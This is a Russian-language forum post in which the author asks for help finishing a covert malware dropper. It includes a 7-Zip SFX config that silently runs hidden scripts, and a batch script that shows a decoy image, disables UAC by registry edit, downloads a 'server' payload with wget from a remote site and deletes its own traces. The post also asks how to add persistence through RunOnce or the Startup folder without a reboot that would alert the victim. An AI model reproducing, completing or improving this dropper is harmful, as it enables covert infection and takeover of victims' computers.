Подскажите, кто в теме
файл ( Config.txt ) указанного ниже содержания нужно поправить или оставить как есть ?
------------------------------
;!@Install@!UTF-8!
InstallPath="%TEMP%"
RunProgram="hidcon:forcenowait:get.cmd"
RunProgram="hidcon:wait.cmd"
GUIMode="2"
;!@InstallEnd@!
----------------------------------
Вопрос по поводу обхода UAC
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Po licies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f
как я слышала это сработает только после перезагрузки компа.
Будет очень паливно отправить комп в ребут в момент получения файла, значит нужно как-то прописать команду которая вступит в силу только после того как UAC будет уже отключён.
Мне подсказали пару вариантов:
1. Добавить в реестр, в секцию RunOnce ссылку на местоположение скачанного сервера. Он однократно запустится после перезагрузки.
2. Можно засунуть ярлык на местоположение скачанного сервера в папку автозагрузка. Но надо будет позаботиться, чтобы в процессе установки сервера этот ярлык был удален. Или можно засунуть сам файл в папку Автозагрузка и дать ему скрытый атрибут.
Может есть другие надёжные варианты ?
Подскажите, если не затруднит, какие записи нужно добавить чтобы получить рабочий вариант.
Вот get.cmd который я немного поправила
------------------------------------
@echo off
set site= путь к сайту
set file= название файла
@attrib +s +h "wget.exe"
@attrib +s +h "get.cmd"
@attrib +s +h "wait.cmd"
copy /y название.jpg %SYSTEMROOT%\название.jpg
start %SYSTEMROOT%\название.jpg
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Po licies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Po licies\System" /v "FilterAdministratorToken" /t REG_DWORD /d 0 /f
:start
@ping 8.8.8.8 -n 5 >nul
@if %errorlevel%==0 (goto get) else (goto start)
:get
@wget.exe %site%/%file%
:end
@attrib -s -h "wget.exe"
@attrib -s -h "get.cmd"
@attrib -s -h "wait.cmd"
@del /f /q "wget.exe"
@del /f /q "wait.cmd"
@del /f /q "get.cmd"
---------------------------------
вот содержание wait.cmd
---------------------------------
@echo off
ping 127.0.0.1 -n 4 >nul
exit
---------------------------------